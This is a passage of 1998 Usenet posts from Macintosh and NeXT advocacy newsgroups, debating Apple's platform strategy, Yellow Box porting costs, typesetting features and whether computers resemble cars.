from other parties adding to our own, ensuring a rapid progression and
easing our burden to advance the platform."
As opposed to:
"We'll build a cheapo computer with a funky case that will garner lots
of short-term attention in a low-margin market. We'll build customers
for our existing OS and our existing 3rd-party base, even though we're
moving to a totally different platform in less than 18 months. We'll
build 'Apple' and 'Macintosh' brand name; the new platform can wait."
> If NeXT couldn't do it with software 10 years ahead of the competition...
As I understand it, this is largely because NeXT refused to sell to the
competition's customers...
> You can't sell operating system infrastructure without some deep
> assurance that the company and operating system will still be thriving
> in a decade or two. Playing the 'internet burn' game, losing massive
> money at the beginning to try to get huge market share isn't a
> suitable strategy.
I didn't say anything about that. We're both talking about established
companies with market crowbars that can be used to leverage new
business. Sun is using its crowbar to grow the software market. Apple is
wasting its own assets. Apparently, the "money to burn" mentality is
alive and well in Steve Jobs even today.
> Look how long it took Linux to get there, and it's FREE.
Four to six years, depending on your viewpoint. What's your point? They
leveraged existing Unix tools and expertise to build something
different, and captured an equal share of the Unix market in no time.
MJP
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
From: simonrb@dircon.co.uk (Simon Barker)
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <35eeee06.0@newsread1.dircon.co.uk> <LGOH1.479$Q9.398535@newsfeed.slurp.net>
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Message-ID: <35f043e6.0@newsread1.dircon.co.uk>
Date: 4 Sep 1998 20:47:50 -0100
On Fri, 04 Sep 1998 09:47:23 GMT, Dan says...
>Simon Barker wrote in message <35eeee06.0@newsread1.dircon.co.uk>...
>
>>>I was talking about Win95, not NT. MS is very good at letting the user
>know
>>>about the bugs that exist in NT by providing hotfixes... regardless of the
>>>fact that most users do not experience the bugs that these hotfixes take
>>>care of.
>>
>>I was refering to Win95, I used hotfix to save me the trouble of naming
>some
>>specific updates/bug fixes under Windows as essentially they are the same
>>thing.
>
>I was unaware that Win95 ever had a "hotfix"... are you sure you don't mean
>"service pack"?
"I used hotfix to save me the trouble of naming some specific updates/bug
fixes" not I actually used a hotfix Dan, I used the term hotfix to save me the
trouble of naming specific updates/fixes. If you call a building something else
it's still a building and the same applies to hotfixes and the various bug
fixes/updates etc provided for Win95.
Message-ID: <35F3E549.54A3351E@rochester.rr.com>
From: Scott Mathers <NOSPAMsmather1@rochester.rr.com>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net>
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Date: Mon, 07 Sep 1998 13:50:25 GMT
NNTP-Posting-Date: Mon, 07 Sep 1998 09:50:25 EDT
Organization: TWC Road Runner
Computers have a lot more than that. All those components are made up of
parts. A video card isn't just a chunk of metal. Even memory modules are just
that - a module of chips.
Michael J. Peck wrote:
> Stephen Rea wrote:
>
> > > I was about to say, "A computer isn't really like a car at all", but
> > > then I realized that some people actually disagree.
> >
> > Thousands of complicated parts doing ghod know what, and no one cares how
> > they work, just that they do.
> >
> > Yep, sounds pretty simillar.
>
> No, it really doesn't. It's weird that you think so. Cars have thousands
> of parts; computers have perhaps ten. Motherboard, case, power supply,
> video card, monitor, hard drive, floppy drive, sound card, CD-ROM,
> keyboard, mouse, processor, and memory. Okay, 13.
>
> Speakers, scanner, printer, microphone, NIC, and Zip drive are optional.
>
> Do you mean that you don't know what these parts do? You don't know how
> they work?
>
> MJP
>
From: tapella@pasteur.frANCE (Tapella)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 07 Sep 1998 16:10:06 +0200
Organization: Institut Pasteur, Paris
Message-ID: <tapella-0709981610060001@22w2-1.dyn.pasteur.fr>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net>
NNTP-Posting-Date: 7 Sep 1998 14:04:12 GMT
In article <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <joe.ragosta-0609982205020001@elk66.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
> > not a piece of the OS you can't change.
>
> Sure, but it doesnt mean it will work. If I dont like the menubar, I can
> delete it. The os wont work tho. Next people might tell you a menu at
> the top wastes screen space. Can you remove the menubar from the top of
> the screen?
>
What would you do with a Mac with no menus? Would you want to remove the
menu bars from each Windows window for example? Would you want to remove
the ability to get popup menus in OPENSTEP? It doesn't make sense.
As to the person who wanted a keystroke to "hide application" I've never
done it before but you can use ResEdit to add/remove command-key combos
to applications, so I don't see any reason why you couldn't do that to
the Finder. I like adding "show images" and "reload" to Navigator since
those keystrokes were taken out for some reason. [Note I personally just
option-click the app I'm moving to, which changes to that app and hides
the other one, although it's kind of a "hidden" function.]
Rob.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Message-ID: <1998090714172800.KAA18110@ladder03.news.aol.com>
Date: 7 Sep 1998 14:17:28 GMT
Organization: AOL http://www.aol.com
References: <6t00cr$oct$1@oak.prod.itd.earthlink.net>
Well, let's look at some of the capabilities of the nicer NeXT
layout/illustration packages which are not matched by anything currently
available under Mac or Windows:
EPS display--NeXT programs get this for free--no need for a bulky, inaccurate
bitmap preview--in Virtuoso.app, I can zoom in on a placed .eps and see all of
the detail in it, and place objects in relation to it with no need to pull a
proof to ensure that I've got the placement correct.
hanging punctuation--this is a nicety of typesetting where punctuation sticks
out into the margin so as to keep the appearance of the text block visually
uniform, so that margins are even, or headlines visually centered. I'll grant
that Illustrator and Freehand have (as did Virtuoso.app), and it's built into
QuickDraw/GX (no need for you to comment here Lawson--it was never available in
an app which would output to an imagesetter in a reasonable fasion), but
neither Quark nor PageMaker nor FrameMaker can do it automatically (see the
recent article in Publish magazine on how to do it manually if you want a
laugh).
However, Glenn Reid's PasteUp (now sold by Anderson Financial Services) does
have it. And as noted here, the original version was developed in roughly a
year by Mr. Reid working pretty much solo.
Hyphenation and justification--Quark and Pagemaker set text line by line, and
will gladly set a very tight line next to a very loose one, resulting in an
uneven, gappy page texture. TeX, which has been available for over twenty
years, sets text by paragraph (simplificatin, it's actually on a per box basis,
but a paragraph is typically a box), resulting in either a wonderfully even
page texture (with exquisite hyphenation, never anything like the-rapist) or a
warning that manual intervention is required.
K2 is widely believed to implement URW's HZ algorithm which goes the above one
better by adding the ability to go back and fractionally widen and narrow
characters (presumably those of multiple master fonts) so as to have a texture
so flawlessly perfect as to've never been achieved before by human hands
setting anything other than Latin with arbitrary ligatures, abbreviations and
hyphenations (which is to say the Gutenberg Bible).
CedarWord.app under NeXT/OpenStep uses the TeX algorithm for its hyphenation
and justification.
Similarly, please don't get me started on the virtues of character based style
sheets, or how brain dead Quark's implementation of them is.
As I've said often before in other forums, I find the limitations of Quark and
Pagemaker infuriating. K2 is something of an improvement, but seems likely to
offer only one small incremental improvement not available elsewhere.
Just out of curiousity--anyone know how far Adobe got in implementing multiple
master fonts under Display PostScript?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <OS-0609982234210001@dialup5-2-57.doitnow.com>
Control: cancel <OS-0609982234210001@dialup5-2-57.doitnow.com>
Date: 07 Sep 1998 05:30:30 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: OS@debate.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 7 Sep 98 04:01:07 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2190B06-1EFF4@206.165.43.117>
References: <6svstq$au61@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Michelle L. Buck <buck.erik@mcleod.net> said:
>
>Fine! Fake 3D is the hot thing. Personally, I like real 3D when I create
>perspective text and GX could never handle that. I guess GX was useless.
I
>can think of three 3D programs that let me in-place edit 3D text.
With the full power of the NSText class available to any word processor?
Adobe and Macromedia apparently think that "fake" 3D is hot. Your personal
preference is NOT shared by most DTP folk that I've met. They'd prefer the
fake 3D being omnipresent, or such is my impression.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sat, 5 Sep 1998 15:07:55 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6sscm0$5so$1@nnrp4.snfc21.pbi.net>
References: <EyrsDM.Hsp@T-FCN.Net> <B2158A70-C061C@206.165.43.164> <Eys0Cz.9DC@T-FCN.Net>
Maury Markowitz wrote in message ...
>In <B2158A70-C061C@206.165.43.164> "Lawson English" wrote:
>> Maybe so, but it is the *perception* that is important, no?
>
> As always, but maybe that's the problem. There is no technical issue
here,
>people CAN move over to the new system very easily, and the power of the
new
>system makes up for any issue involving the neglect it saw over the last
few
>years (it looks old, and needs spucing up).
But *can* they "easily move to the new system?"
The problem is not one of technical inferiority, the problem is one of
an existing code base. Diving right into the YB argument for a moment,
the point I have been trying to make is even if the YB tools were so
powerful that you could just strap an electronic sensor to your skull
and it would take your thoughts and turn them into working applications
in milliseconds, this still doesn't address the existing code base
problem.
*Someone* has to go through those few million lines of code and change
the UI code to use the YB API and development tools. And that often
means factoring out UI code from computation code (something which
many (most?) developers are netoriously bad at doing). And someone has
to redesign the code to take advantage of the new YB API.
Most companies are totally loathe to rewrite their applications
completely from the ground up--they would rather port. And the
problem with the YB API is that it is just different enough from
the old MacOS API that this port is non-trivial--*even* if the YB
code practically wrote itself.
It is the refusal of otherwise technically competant programmers to
recognize this problem that totally amazes me. Makes me wonder how
much real-world experience those folks have who suggest that the technical
superiority of the YB development tools is all that matters.
Because the technical superiority of the YB development tools is not
the only issue by a long stretch of the imagination.
> But this is not what I see, I see open hostility and outright dismissal.
>Any attempts to say "you'll like this, trust us" are met with utter
>disbelief. This is a far cry from the _same_ developers only a couple of
>years ago who would jump onto every new soon-to-be-neglected technology
with
>wild adbandon.
Two issues. One, I never was the developer who jumped onto the bandwaggon
of every soon to be neglected technology--I refused to crack the GX
books because it seemed to me that GX wouldn't survive. And OpenDoc
was even worse. Both GX and OpenDoc's technologies are wonderful--the
problem is that they are both addressing problems which either didn't
exist, weren't well defined, or answered the problem in a way which was
more costly to adopt (from a political standpoint) than the alternatives.
Second, many of those developers who did jump on each bandwaggon has
gotten tired of having the "technology du'joir" being taken off the plate
just as soon as the learning curve was climbed. So those developers
who used to jump onto every interesting technology with wild abandon
are now burned out on the process and want things to remain stable enough
long enough to make a living and pay the morgage.
Remember, too, that the YB strategy from Apple hasn't been settled
yet. So YB is in many ways like OpenDoc: write to it and maybe we'll
provide portability that's less expensive than requiring everyone to
install a OpenStep server on the WinNT box.
> You might chalk this up to "twice burned" but this is clearly much more
>than that. For instance when Carbon was released all the Mac developers
ran
>to it as the second coming - you even used it as more anti-YB FUD - but of
>course it's much more unreal than YB ever was and just as many reason to
>believe it wouldn't appear (no, more) than YB.
Twice burned? Try burned about a dozen times. Anyone who has been writing
Mac software as long as I should be able to remember Bedrock, Pink and
a half-dozen other technologies similar in promise to YB.
Besides, the issue here is the installed software base. And as I noted
before, even if writing YB code was as fast as strapping a sensor to
my brain and thinking the code, porting the installed software base is
*still* a non-trivial task.
>> No-one is stopping you from using the Yellow Box.
>
> Good, because now that I've used it I wouldn't even consider going back.
That's good. Just hope to hell you don't have to port to MacOS in the
same way you're asking many MacOS developers to port to YB.
Note the keyword in the above sentence is "port." And remember that
adopting a new technology is infinitely easier tha porting to it.
- Bill Woody
The PandaWave
Date: Mon, 07 Sep 1998 01:09:05 -0400
From: a_fraser@one.net (Alan Fraser)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <a_fraser-0709980109050001@port-35-38.access.one.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net> <6rvag9$51t$1@nnrp1.dejanews.com> <gmgraves-2608980958590001@sf-usr1-19-147.dialup.slip.net> <6s284a$k6t$1@nnrp1.dejanews.com> <gmgraves-2608982259140001@sf-pm5-8-72.dialup.slip.net> <6s3cgj$sc1$1@nnrp1.dejanews.com>
Organization: Whammer Jammer Enterprises
In article <6s3cgj$sc1$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2608982259140001@sf-pm5-8-72.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > > You stated that "MacOS is the best user experience in computers. It
is also
> > > the most productive OS. This has been proven many times." This is at odds
> > > with the above statement.
> >
> > Oh, THAT original statement! I stand by it.
>
> That is why people, like myself, keep coming back to this thread. That
> statement is false. Unless all operating systems were tested, how could the
> claims made in your first two sentences have been "...proven many times?" You
> saying that it is obvious that some operating systems (like Linux and
> OpenStep) are less productive is different from proof. Please provide some
> proof or a reference to some proof in your next post or concede that your
> claim is false.
>
> --
> Brian Quinlan
> quinlan@intergate.bc.ca
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Please keep this inane thread alive for as long as possible.
--
Alan Fraser - a_fraser@one.net
Home Page --- http://w3.one.net/~a_fraser/
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 08 Sep 1998 04:11:27 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F4F4BF.C9D08849@nstar.net>
References: <35F3FC14.57B2FD92@nstar.net> <B218A653-32733@206.165.43.187>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 7 Sep 1998 20:08:05 GMT
Lawson English wrote:
> >Good point. Get yourself a hex editor and you can change anything about
> >Linux, too.
>
> Ah, but there's a simple hex editor available in ResEdit. Is there a simple
> ResEdit available in a hex editor on Linux? ;-)
Yes. Run emacs and hit Meta-x, then type "hex-mode". You can hexedit any
file you like.
The point was that "changing anything" in MacOS requires impossible
modifications using a hex editor. Impossible, because without reverse
compilation none of the CODE resources (and custom controls, WDEFS, etc)
will be comprehensible in the least.
So technically speaking, sure! You can change anything in the MacOS,
since the System is nothing more than a simple binary. Change away!
MJP
Date: Mon, 07 Sep 1998 13:16:05 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <joe.ragosta-0709981316060001@elk53.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <35F3E549.54A3351E@rochester.rr.com>
In article <35F3E549.54A3351E@rochester.rr.com>,
NOSPAMsmather1@rochester.rr.com wrote:
> Computers have a lot more than that. All those components are made up of
> parts. A video card isn't just a chunk of metal. Even memory modules
are just
> that - a module of chips.
Just like a car is made up of thousands of parts.
But what's the point of the discussion?
>
> Michael J. Peck wrote:
>
> > Stephen Rea wrote:
> >
> > > > I was about to say, "A computer isn't really like a car at all", but
> > > > then I realized that some people actually disagree.
> > >
> > > Thousands of complicated parts doing ghod know what, and no one cares how
> > > they work, just that they do.
> > >
> > > Yep, sounds pretty simillar.
> >
> > No, it really doesn't. It's weird that you think so. Cars have thousands
> > of parts; computers have perhaps ten. Motherboard, case, power supply,
> > video card, monitor, hard drive, floppy drive, sound card, CD-ROM,
> > keyboard, mouse, processor, and memory. Okay, 13.
> >
> > Speakers, scanner, printer, microphone, NIC, and Zip drive are optional.
> >
> > Do you mean that you don't know what these parts do? You don't know how
> > they work?
> >
> > MJP
> >
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
Date: Mon, 07 Sep 1998 13:13:49 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <joe.ragosta-0709981313500001@elk53.dol.net>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <don.brown-0209981822010001@dsm-ia3-01.ix.netcom.com>
In article <don.brown-0209981822010001@dsm-ia3-01.ix.netcom.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <joe.ragosta-0209981709230001@wil78.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >In article <B212F253-19875@206.165.43.49>, "Lawson English"
> ><english@primenet.com> wrote:
> >
> >>I just got this in e-mail and I thought that I'd share. It should clear up
> >>everything.
> >>
> >>
> >>
> >>Heidi Roizen said:
> >>
> >>>Hi Lawson, long time no talk. Yesterday my brother was doing an
> >>>altavista search and ran across the thread of the above title... I'm not
> >>>following those any longer, but given the title, I figured it might be
> >>>interesting to take a look :-)
> >>>
> >>>The main gist of the thread is accurate, the problem is that I was on the
> >>>other side of the issue relative to where people *think* I was, as it
> >>>appears in the thread. I was a HUGE proponent of maintaining the legacy
> >>>code investment. One of my largest internal efforts at Apple was to try
> >>>to improve the tools strategy with better support for needed tools, tools
> >>>planning up front with product planning, and heightened support of tools
> >>>companies like Symantec and Metrowerks. The first issue I raised with
> >>>the NeXT/Rhapsody strategy was legacy code and migration tools.
> >>>(Actually, the first issue I raised was that I had major concerns about
> >>>following an OS strategy that would not even run on the PowerPC chip, and
> >>>therefore the installed base, for at least a year, but I don't want to
> >>>start another issue right now!) The first "developer" I introduced Steve
> >>>to when it was clear that he was a major influence in the forming of the
> >>>OS strategy was Greg Galanos.
> >
> >So Heidi basically confirms my position--that she never gave Yellow Box a
> >real chance. Her focus was on legacy code and apps rather than the
> >complete rewrite of apps to take advantage of YB.
> >
> Depends. If by "gave a real chance" you mean "make everyone bet their
> whole companies on it," yes. As I read it, she was worried about YB being
> the ONLY alternative.
I can buy that. But from the context and Lawson's statements, she didn't
seem to want to promote YB _at all_, not even as an alternative.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 7 Sep 1998 17:26:54 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t150u$mfe@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com>
On Fri, 04 Sep 1998 11:11:43 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Sal Denaro wrote:
>> This is no different from SGI building hardware to showcase OpenGL, or
>> Sun building hardware to better showcase Solaris.
>Once upon a time, it might have made sense for Apple to push custom
>solutions as the best solutions, and they surely ignored this. They
Apple has to push an Apple solution. Period.
>Secondly, the types of custom solutions SGI and Sun traditionally pushed
>*needed* to be customized because of the technical nature of the
>solutions.
If you are not pushing a customized product, then you are just a cloner
and have to deal with the shrinking margins and little room to innovate.
>integrator can build a fast, cheap, effective NT-based CGI solution from
>off-the-shelf parts. Custom solutions from SGI are still in some demand,
>but that demand is falling rapidly, as evidenced by SGI's decision to
That is only because SGI (and Sun) are not providing enough incentive to
go with thier proprietary product.
>In summary, it makes little sense for Apple to jump into "custom
>solutions" just when that approach is falling by the wayside. History is
Apple should not be in the business of building beige boxes with shrinking
margins.
>> >Apple has...what? A diminishing line of consumer machines and
>> Not true, the iMac is selling very well and Apple's share of sales
>> has grown for the past two quarters.
>All true, and encouraging, but it hardly makes a dent in the big
>picture. Apple's share of things *is* diminishing
-----------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
No it is not. The last two quarters saw growth.
> and its profits (and
>margins) are declining.
Not true. Both profits and margins have been growing this year.
>> You can also say the same for Sun and SGI. (Java and OpenGL) Why doesn't
>> anyone expect them to pick only hardware or only software?
>All of sudden? On a dime? That would be ridiculous. Nobody is suggesting
>that Apple give up hardware in one quarter, or even in one year.
I wonder what your point is. Steve has gone software before. If that is
what his plan is, he would be nuts to mention it now.
Keep in mind what Steve Jobs said in Wired magazine. "Milk the Mac for
all it's worth, then move on to the next big thing"
>besides, it is clear that both Sun and SGI are leveraging their hardware
>to increase software sales, even on other platforms.
I don't follow your point here. How is Sun's hardware selling software?
> Apple, on the other
>hand, is leveraging software to sell hardware. It is a totally
>different, and in my opinion a fundamentally flawed, approach.
Apple is using QT on Win (and YellowBox and WO and ColorSync) in the
same way SGI uses OpenGL and Sun uses Java. I don't see how Sun and SGI
are leveraging their hardware to increase software sales, but I do see
how they are using software to sell hardware (and/or Brand)
>> >Careful observers may note that these assets lie almost exclusively in
>> >the software domain.
>Do these assets (the ones I mentioned) lie in the software domain or
>not? I don't think you can get around this question, try as you might.
Apple is not a software company or a hardware company, they are a systems
company. The Mac isn't software running on custom hardware, or custom
software running on hardware; it is custom software running on custom
hardware. It is a "Brand".
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 7 Sep 1998 17:26:57 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t1511$mfe@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <slrn6v0ci7.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6spied$bkj$1@nnrp02.primenet.com>
On 4 Sep 1998 20:26:53 GMT, John Jensen <jjens@primenet.com> wrote:
>Stop and look for a moment at how Sun used the nature of the internet:
> - look, motion in a browser!
> - look, a free download!
> - look, everybody is doing it!
> - look, even MS recognizes its power!
You could also say the same about QuickTime...
>and compare that to Apple's use of the internet:
> - sorry, its NDA and we can't talk about it.
True :(
But in Apple's defense, they didn't want to repeat the copland hype again.
And the NDA has been lifted.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 7 Sep 1998 17:28:59 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t154r$mh6@news1.panix.com>
References: <6o8adb$i746@odie.mcleod.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <C0B648C27726E4D5.5F2A2E5BD20E39EE.39C4D77D23F1CD83@library-proxy.airnews.net> <6sq77v$rth@newsb.netnews.att.com>
On 5 Sep 1998 02:21:51 GMT, gupta@kcopsrm.tm.tta.moc-mirror
after @ <gupta@kcopsrm.tm.tta.moc-mirrorafter@> wrote:
>If Apple embraces Linux, it will not be providing software solutions --
>the open source community will be. If Apple embraces Linux, it will
>be to become a hardware-only company.
Beige boxes with shrinking margins and little room to innovate. If Apple
ends up there, it would be a failure.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Should Apple buy Adobe?
Date: 7 Sep 1998 17:29:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t154v$mh6@news1.panix.com>
References: <01bdd765$985a37c0$06387880@chewy> <6sn956$kgb@news1.panix.com> <SCOTT.98Sep4131716@slave.doubleu.com>
On 4 Sep 98 13:17:16, Scott Hess <scott@nospam.doubleu.com> wrote:
>In article <6sn956$kgb@news1.panix.com>,
> sal@panix.com (Sal Denaro) writes:
> On 3 Sep 1998 18:17:39 GMT, Todd Heberlein
> (todd at NetSQ dot com) <todd@dev.null> wrote:
> > Should Apple consider buying Adobe?
> For no other reason then to remove the DPS royalty fee? No.
>OTOH, with Adobe in-house, they could probably do some interesting
>things with the current DPS.
Good point. But is DPS enough of a reason to buy Adobe? IMHO, no.
> To use PhotoShop and Illustrator (and k2) to add value to its OS?
> Yes.
>Ooooh, now _that_ would make it a real shooting war! Apple and
>Microsoft, with each other's family jewels squeezed by enemy hands.
Nominations for most disturbing image on Usenet are now closed. :)
If Apple has a major presence in the Windows software market, it might
be able to get more people to look at Apple products.
>Of course, while they're whiling their time away forcing each other to
>release each other's software on each other's platforms, perhaps some
>third party will take over the future :-).
I think the outcome would be an uneasy truce.
> Apple would do very well if it turned PhotoShop and Illustrator
> into frameworks for 3rd parties to build new and interesting
> software for content creation.
>Isn't that a pretty good description of PhotoShop today?
Hmmm... I guess so. There does seem to be a pretty big 3rd party market
for Photoshop products. I wonder how they would react if every Mac user
had 75% of photoshop built into the OS...
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 08 Sep 1998 04:39:23 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F4FB4B.4A1C8422@nstar.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu>
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NNTP-Posting-Date: 7 Sep 1998 20:36:26 GMT
BrTe wrote:
[cut]
> I don't see anything above that should lead you to that conclusion on
> the level you seem to be implying. However, I would be surprised if you
> know exactly how the cpu is shuffling each bit and performing its
> calculations and also how the magnetic media is being manupulated
> physically to store information and how the sound is being encoded and
> decoded from digital information into analog into actual soundwave in a
> circuit board.
A CS major who doesn't know these things is in sad shape.
> If you think you know all the detailed aspects of how these
> things are working and how to reproduce it from scratch even in theory then
> you are either an ubergeek with a knowledge base unmatched by the kings of
> the industry,
I'm sorry, it doesn't take an ubergeek to understand the level of detail
you've described. It's irrelevant, anyway; a computer can be built from
scratch and operated trivially with a very minimal level of knowledge. I
know plenty of high school students with little or no professional
experience who can perform these tasks.
> or a know it all jerk.
Yes, this is true.
> Since I have never met an ubergeek
> with that much knowledge in my life, and yet can't throw a stone without
> hitting a know it all jerk, you can tell where I put the probabilities.
Happy to report that I am both, although you've probably met more of
these "ubergeeks" than you think. Do you know any CS or EE majors?
> Any know it all jerk can tell you stuff like: "Well, the engine takes
> the gas and mixes it with air to..." That's not knowing how something
